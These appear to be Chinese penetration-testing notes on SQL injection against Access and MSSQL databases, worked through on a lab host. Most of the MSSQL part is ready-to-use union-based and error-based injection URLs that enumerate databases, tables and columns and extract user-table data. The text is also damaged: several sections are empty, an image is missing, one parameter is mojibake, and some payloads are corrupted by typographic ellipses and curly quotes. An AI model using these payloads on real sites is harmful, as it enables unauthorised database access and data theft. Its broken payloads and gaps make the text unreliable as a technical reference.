1-9其他数据库注入
文章目錄
- 數(shù)據(jù)庫注入
- access數(shù)據(jù)庫
- 判斷access數(shù)據(jù)庫
- 常用函數(shù)
- 查詢語句構(gòu)造
- 聯(lián)合查詢
- 布爾型盲注
- mssql數(shù)據(jù)庫
- mssql數(shù)據(jù)庫判斷
- 環(huán)境---靶機-2k3_sp2
- 常用函數(shù)
- 查詢語句構(gòu)造
- 聯(lián)合查詢
- 報錯注入
- 布爾型盲注
數(shù)據(jù)庫注入
access數(shù)據(jù)庫
判斷access數(shù)據(jù)庫
- 根據(jù)url的后綴。ASP為后綴名的是ACCESS數(shù)據(jù)庫
- 在url后面加單引號,以報錯信息“Microsoft ole db provider for odbc drivers”判斷為access
- 通過and (select count(*) from msysobjects)>0發(fā)牛錯誤頁面則為access數(shù)據(jù)庫。msysobjects、msysqueries\msysrelationships為access的三個系統(tǒng)表,web環(huán)境下沒有權(quán)限訪問
常用函數(shù)
- count():返回統(tǒng)計給定條件的行數(shù)
- len():字符串長度,例len(‘database’)返回’8‘
- asc():返回ascii值
- mid(‘字符串’,n,m):返回從第n位開始,截取m長度的字符串
- chr():返回ascii對應(yīng)的字符
- IIF(條件表達式,true,false):判斷條件成立返回true,否則返回false
- exists():判斷是否存在數(shù)據(jù),返回true或false
查詢語句構(gòu)造
聯(lián)合查詢
先判斷數(shù)據(jù)庫類型
布爾型盲注
mssql數(shù)據(jù)庫
mssql數(shù)據(jù)庫判斷
- .aspx為后綴的
- 通過?id=5 and (select count(*) from sysobjects)>0,頁面正常,則為mssql數(shù)據(jù)庫。因為存在三個系統(tǒng)表,
- sysobjects:存放所有對象。字段有name-對象名、id-對象id、xtype-對象類型、uid、status)
- syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。當xtype=u and status>0時,對象名=表名,對象id=表id
- sysdatabases:保存在master數(shù)據(jù)庫中,保存了所有庫名,庫id和其他信息
環(huán)境—靶機-2k3_sp2
開啟服務(wù)
登錄數(shù)據(jù)庫
http://192.168.43.21:8006/dianpu.aspx?id=1實踐
常用函數(shù)
- host_name():返回服務(wù)器的名稱
- Currnet_user:返回當前數(shù)據(jù)庫用戶
- db_name():返回當前數(shù)據(jù)庫名稱
- CHAR():將ascii轉(zhuǎn)換為字符
- Object_id():返回數(shù)據(jù)庫表名,通常用16進制或sql編碼
- col_name(table_id,column_id):返回指定表中的列
- isnull():使用指定的替換值替換null
- substring():返回子字符串,也就是截取
查詢語句構(gòu)造
聯(lián)合查詢
判斷數(shù)據(jù)庫類型:輸入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0頁面正常,為mssql數(shù)據(jù)庫
**判斷列數(shù):**輸入?id=1 order by 14,頁面報錯,則為13列,并且回顯位是字符串時,會在頁面顯示,這里第10列為字符串
**判斷回顯位置:**字符串的位置用null代替,輸入?id=1 union select
1,2,3,4,5,6,7,8,9,null,11,12,13頁面報錯,意思union執(zhí)行了默認的去重功能,那這里不需要,所以重新輸入為?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,
但是頁面依然報錯,如下,所以哈是有的位置依然不是數(shù)字型,只能一個一個將位置置空,換null,來確定哪些是字符型位置,最終確定為?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,頁面正常
**獲取數(shù)據(jù)庫名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,頁面顯示所有數(shù)據(jù)庫名
獲取當前數(shù)據(jù)庫名:輸入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,頁面顯示當前數(shù)據(jù)庫為jiaofan
**獲取數(shù)據(jù)庫表名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan數(shù)據(jù)庫下的表
**獲取列名:**輸入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),頁面顯示表中的列名信息
**獲取列字段的內(nèi)容:**輸入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即獲取sl_user表中zuocheng字段的信息
報錯注入
**獲取數(shù)據(jù)庫名:**輸入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,該語句意思N值從0增加,逐個獲取數(shù)據(jù)庫名,查詢第一數(shù)據(jù)庫名,查第二個時,需要去更改N值 從報錯信息知數(shù)據(jù)庫為master
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-I5GhwXk2-1597919684695)(D:\Desktop\亂七八糟\滲透\筆記\圖庫\1595341928185.png)]
**獲取當前數(shù)據(jù)庫名:**輸入’ and 1=(select db_name()) --+,獲取的為jiaofan
**獲取庫里面的表:**輸入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,顯示的表為sl_banner,將N值從0增加,逐個獲取表名
**獲取列名信息:**輸入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐個獲取列名,這里是shouji
獲取列中的信息:輸入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,獲取到了相應(yīng)的信息
布爾型盲注
總結(jié)
以上是生活随笔為你收集整理的1-9其他数据库注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Pycharm社区版安装教程(永久免费,
- 下一篇: kali安装docker(有效详细的教程